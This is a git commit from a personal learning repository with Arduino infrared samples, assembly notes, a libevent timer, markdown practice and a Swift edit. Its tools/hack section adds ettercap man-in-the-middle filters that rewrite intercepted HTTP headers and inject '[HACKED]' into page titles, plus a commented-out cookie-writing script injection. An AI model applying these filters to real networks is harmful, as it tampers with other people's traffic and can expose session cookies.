From: acevest Date: Sun, 15 Mar 2015 05:06:33 +0000 (+0800) Subject: ... X-Git-Url: http://zhaoyanbai.com/repos/%22http:/www.isc.org/icons/zpipe.c?a=commitdiff_plain;h=3332463f9de08d71eb194a714cff851985b89182;p=acecode.git ... --- diff --git a/arduino/IR/InfraredReceiver/InfraredReceiver.ino b/arduino/IR/InfraredReceiver/InfraredReceiver.ino new file mode 100644 index 0000000..231e047 --- /dev/null +++ b/arduino/IR/InfraredReceiver/InfraredReceiver.ino @@ -0,0 +1,30 @@ +//本例来自于红外接收模块的IRremote自带范例 +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * [url]http://arcfn.com[/url] + */ + +#include + +int RECV_PIN = 11;//定义红外接收器的引脚为11 +IRrecv irrecv(RECV_PIN); +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // 初始化红外接收器 +} + +void loop() { + //Serial.println("HAHA"); + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX);//以16进制换行输出接收代码 + Serial.println();//为了便于观看输出结果增加一个空行 + irrecv.resume(); // 接收下一个值 + } +} + diff --git a/arduino/Sensors/Sensors.ino b/arduino/Sensors/Sensors.ino index 5b6791e..10df6a8 100644 --- a/arduino/Sensors/Sensors.ino +++ b/arduino/Sensors/Sensors.ino @@ -18,7 +18,7 @@ void loop() { int hb = analogRead(2); // Human Body - if(hb < 10) + if(hb < 100) { hb = 0; } diff --git a/learn/asm/basic.txt b/learn/asm/basic.txt new file mode 100644 index 0000000..ff46abd --- /dev/null +++ b/learn/asm/basic.txt @@ -0,0 +1,16 @@ + +pushl %eax == subl $4, %esp + movl %eax, (%esp) + + +popl %eax == movl (%esp), %eax + addl $4, %esp + + + +enter pushl %ebp + movl %esp, %ebp + + +leave movl %ebp, %esp + popl %ebp diff --git a/learn/doc/ir.txt b/learn/doc/ir.txt new file mode 100644 index 0000000..924c296 --- /dev/null +++ b/learn/doc/ir.txt @@ -0,0 +1,7 @@ +电扇 IR NEC +807FE01F 风速 +807F32CD 静音 +807FF00F 风类 +807FC03F 开关 +807FD02F 定时 +807FF00F 摇头 diff --git a/learn/libevent/timer.c b/learn/libevent/timer.c new file mode 100644 index 0000000..12a6700 --- /dev/null +++ b/learn/libevent/timer.c @@ -0,0 +1,38 @@ +/* + * ------------------------------------------------------------------------ + * File Name: timer.c + * Author: Zhao Yanbai + * Sat Feb 28 17:03:43 2015 + * Description: none + * ------------------------------------------------------------------------ + */ +#include +#include +#include +#include + +struct event ev; +struct timeval tv; + +unsigned int cnt = 0; + +void time_cb(int fd, short event, void *argc) +{ + printf("timer woke up %u times\n", cnt++); + event_add(&ev, &tv); +} + +int main() +{ + struct event_base *base = event_init(); + + tv.tv_sec = 1; + tv.tv_usec= 0; + + evtimer_set(&ev, time_cb, NULL); + event_add(&ev, &tv); + + event_base_dispatch(base); + + return 0; +} diff --git a/learn/markdown/extra_markdown.md b/learn/markdown/extra_markdown.md new file mode 100644 index 0000000..2280509 --- /dev/null +++ b/learn/markdown/extra_markdown.md @@ -0,0 +1,64 @@ +#Extra MarkDown + +##H1 +xxxx | yyyy +----|---- +1 | 2 +3 |4 + + +You can specify column alignment with one or two colons: + +| Item | Value | Qty | +| :------- | ----: | :---: | +| Computer | $1600 | 5 | +| Phone | $12 | 12 | +| Pipe | $1 | 234 | + + + +### Footnotes + +You can create footnotes like this[^footnote]. + + [^footnote]: Here is the *text* of the **footnote**. + + + + ### MathJax + +You can render *LaTeX* mathematical expressions using **MathJax**, as on [math.stackexchange.com][1]: + +The *Gamma function* satisfying $\Gamma(n) = (n-1)!\quad\forall n\in\mathbb N$ is via the Euler integral + +$$ +\Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,. +$$ + + + +### UML diagrams + +You can also render sequence diagrams like this: + +```sequence +Alice->Bob: Hello Bob, how are you? +Note right of Bob: Bob thinks +Bob-->Alice: I am good thanks! +``` + +And flow charts like this: + +```flow +st=>start: Start +e=>end +op=>operation: My Operation +cond=>condition: Yes or No? + + +st->op->cond +cond(yes)->e +cond(no)->op +``` + + diff --git a/learn/markdown/index.md b/learn/markdown/index.md index 8bd5b3e..49cfd61 100644 --- a/learn/markdown/index.md +++ b/learn/markdown/index.md @@ -5,6 +5,8 @@ ######这是H5##### ######这是H6###### +#也可以这样写标题 + vxcvzdfdsf fsadfasdf sfasdf @@ -20,15 +22,60 @@ sfasdf > dsf > sadfasd +fssdff + + +> This is the first level of quoting. +> +> > This is nested blockquote. +> +> Back to the first level. + + + +> ## 这是一个标题。 +> +> 1. 这是第一行列表项。 +> 2. 这是第二行列表项。 +> +> 给出一些例子代码: +> +> return shell_exec("echo $input | $markdown_script"); 这是一个*强调*示例,这是另一个 _强调_ 示例 这是一个**加重强调**示例 或 __加重强调__ 这是一个***特别强调***示例 或 ___特别强调___ +如果两边都有空格的话 * 就会被当成普通符号 * + 这是个命令示例`echo "Hello World"` 输出什么? +* 列表A 1 +* 列表A 2 +* 列表A 3 + +-- + ++ 列表B 1 ++ 列表B 2 ++ 列表B 3 + +-- +- 列表C 1 +- 列表C 2 +- 列表C 3 + +-- + +1. 列表D 1 +2. 列表D 2 +3. 列表D 3 +4. 列表D 4 +5. 列表D 5 + +1986\. What a great season. ``` #include @@ -38,6 +85,11 @@ int main() { } ``` +如果要在代码区段内插入反引号,你可以用多个反引号来开启和结束代码区段: + +``There is a literal backtick (`) here.`` + + 以下是水平分割线 * * * 或 @@ -48,14 +100,30 @@ int main() { - - - 链接 -[Hello](http://www.qq.com) -or -[Tag][Link] -[Link]: http://www.qq.com "sfasd" +[Hello](http://www.qq.com) +or +[Tag][Link] +[Link]: http://www.qq.com "Optional Title" + +This is [an example](http://example.com/ "Title") inline link. +[This link](http://example.net/) has no title attribute. + + + +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" +I get 10 times more traffic from [Google][] than from +[Yahoo][] or [MSN][]. + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" diff --git a/learn/swift/MyPlayground.playground/section-1.swift b/learn/swift/MyPlayground.playground/section-1.swift index 56326af..b9e7e1c 100644 --- a/learn/swift/MyPlayground.playground/section-1.swift +++ b/learn/swift/MyPlayground.playground/section-1.swift @@ -60,7 +60,8 @@ else let word = "red apple" -switch word { -case "dd" : -} +//switch word { +//case "dd" : +//} + diff --git a/tools/hack/ettercap/filter.ef b/tools/hack/ettercap/filter.ef new file mode 100644 index 0000000..4ea56e3 Binary files /dev/null and b/tools/hack/ettercap/filter.ef differ diff --git a/tools/hack/ettercap/normal.filter b/tools/hack/ettercap/normal.filter index 3434524..f045ff3 100644 --- a/tools/hack/ettercap/normal.filter +++ b/tools/hack/ettercap/normal.filter @@ -1,5 +1,6 @@ if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { + msg("Accept-Encoding.\n"); replace("Accept-Encoding", "Accept-Nothing."); } @@ -10,6 +11,11 @@ if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "If-Modified-Since")) { replace("If-Modified-Since", "No-Modified-Since"); } + + if (search(DATA.data, "Accept: */*")) { + msg("Accept.\n"); + replace("Accept: */*", "Nccept: */*"); + } } if (ip.proto == TCP && tcp.src == 80) { @@ -17,5 +23,8 @@ if (ip.proto == TCP && tcp.src == 80) { } if (ip.proto == TCP && tcp.src == 80) { - replace("", "<title>Hacked"); + if (search(DATA.data, "<title>")) { + replace("<title>", "<title>Hacked"); + msg("Replaced Title.\n"); + } } diff --git a/tools/hack/ettercap/proxy.normal.filter b/tools/hack/ettercap/proxy.normal.filter new file mode 100644 index 0000000..272cfc4 --- /dev/null +++ b/tools/hack/ettercap/proxy.normal.filter @@ -0,0 +1,34 @@ +if (ip.proto == TCP && tcp.dst == 80 || tcp.dst == 8080 ) { + if (search(DATA.data, "Accept-Encoding")) { + msg("Accept-Encoding."); + replace("Accept-Encoding", "Accept-Nothing."); + } + + if (search(DATA.data, "If-None-Match")) { + msg("If-None-Match."); + replace("If-None-Match", "No-None-Match"); + } + + if (search(DATA.data, "If-Modified-Since")) { + msg("If-Modified-Since."); + replace("If-Modified-Since", "No-Modified-Since"); + } + + if (search(DATA.data, "Accept:")) { + msg("Accept."); + replace("Accept:", "Nccept:"); + } +} + +if (ip.proto == TCP && tcp.src == 80 || tcp.src == 8080) { + #replace("keep-alive", "close"); + #if (search(DATA.data, "<title>")) { + replace("<title>", "<title>[HACKED] "); + # msg("Replaced Title."); + #} + #if (search(DATA.data, "<body>")) { + # replace("<body>", "<script>document.write(document.cookie)</script><body>Hacked.<br>"); + # msg("Replaced Body."); + #} +} + diff --git a/tools/hack/netpeeper/netpeeper b/tools/hack/netpeeper/netpeeper new file mode 100755 index 0000000..834bed9 Binary files /dev/null and b/tools/hack/netpeeper/netpeeper differ